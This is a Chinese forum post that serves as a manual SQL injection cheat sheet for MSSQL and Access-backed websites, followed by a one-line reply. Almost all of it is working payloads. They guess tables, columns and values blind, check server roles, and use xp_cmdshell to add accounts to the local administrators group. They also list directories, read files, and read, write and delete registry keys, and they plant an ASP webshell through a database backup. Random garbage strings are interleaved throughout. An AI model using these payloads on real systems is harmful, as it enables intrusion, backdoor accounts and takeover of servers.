手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
. `' H7 f. [9 E$ B
2.初步判断是否是mssql ;and user>0

7 ?+ o( O1 G. M- V0 |* g3.注入参数是字符'and [查询条件] and ''='
4 d3 g4 ^( e1 `6 M. R5 N
4.搜索时没过滤参数的'and [查询条件] and '%25'='

& P' ^2 U3 f% [0 N1 F8 ]- W3 ^0 J5.判断数据库系统
1 ?. ]0 y6 S0 z8 p3 f2 S7 f;and (select count(*) from sysobjects)>0 mssql
" _7 D) m9 c: H7 U( B- N/ a, i, x( w;and (select count(*) from msysobjects)>0 access
" [% q  k- _, u
6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ d) F% w# B, q; r. _7 [: V) {
$ W" m- X( K! U3 d# S7.猜字段 ;and (select Count(字段名) from 数据库名)>0
- M. a4 u7 z1 {& j( [: c7 [% K
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
5 L3 l) r' P5 A2 {" B$ l
9.(1)猜字段的ascii值（access）
7 z9 a; p5 ^5 B; v8 `;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
& {+ B% J5 Z! ]1 z7 T% f0 e7 L;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
, K  W* d5 g5 |" [
10.测试权限结构（mssql）
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' s3 ]% P( H0 r- u;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 P. A3 G5 F3 U" t;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ a% \& m' g& V: ?5 L. }$ B;and 1=(select IS_MEMBER('db_owner'));--
" k& h" b- G0 Q6 }& [( L7 ]3 S
11.添加mssql和系统的帐户
* @9 w9 s! C% D, ^1 y/ _% R! P5 D;exec master.dbo.sp_addlogin username;--

4 d6 l' _+ l. m. p6 i" T;exec master.dbo.sp_password null,username,password;--
) _; t5 T2 j, G( u/ C
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

! {& }* B# l% z7 e  i;exec master.dbo.xp_cmdshell 'net user username password
! B+ a8 u0 M$ T& J/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
: P9 F! j% G/ q/ {% W' n" _
;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) {8 {/ L1 y6 M* J) ]! y$ U3 L
12.(1)遍历目录

  e5 o0 K4 O1 ~/ `;create table dirs(paths varchar(100), id int)
# U% v8 o( C" O! L;insert dirs exec master.dbo.xp_dirtree 'c:\'
* y- W& e4 f$ }8 W;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
( U7 u6 x! S, W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ \) q# M; C& }7 {0 V1 {. e;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! Y6 V3 R' u8 \7 Q;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ l* g! e. a1 A7 e, ~6 ^" L;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
: o5 k# u8 J- M* T+ }0 o" E
xp_regenumvalues 注册表根键, 子键
  d, P$ \  ~) g$ a; j. K) p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 @  l' d" z: {( J
xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

* X4 H3 _* G" X/ `xp_regwrite 根键,子键, 值名, 值类型, 值
+ E1 W$ t9 a. s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 H0 q# y# f5 u% f: C;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
3 `0 ~! s: W  @- Y4 U8 G
9 }. @) r) w  X7 nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! t; O* Q6 K1 J1 U7 e# l8 r" [* E' U
) s  a! q9 F) k/ S2 ?6 z1 s14.mssql的backup创建webshell
$ }+ W' x% m5 ]6 a5 N- d& m3 Suse model
create table cmd(str image);
$ g" n% h; @  Z% N6 Winsert into cmd(str) values ('');
+ P7 r) ]/ K8 |: d; X5 `backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
4 _& ~# |  u% ]: d/ n;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 D+ k' ]1 {4 m9 V, M;and (select user_name())>0 爆当前系统的连接用户
9 L6 X0 M0 O! x8 y4 e;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell
& ?8 v) O: s) G1 J! U
use model
; Y, [: ~4 w5 F* ~+ h! O, X
% @% H6 N) h. m* S# U/ bcreate table cmd(str image);

) V% o! i) E: c1 W1 x6 M% I' Binsert into cmd(str) values ('');
8 H: \9 ~# j" \' p9 q! u
backup database model to disk='g:\wwwtest\l.asp';

6 C' W  e3 s7 I' |* A. t* c) y

老男孩

现在很多防注入啊，有其他注入字符码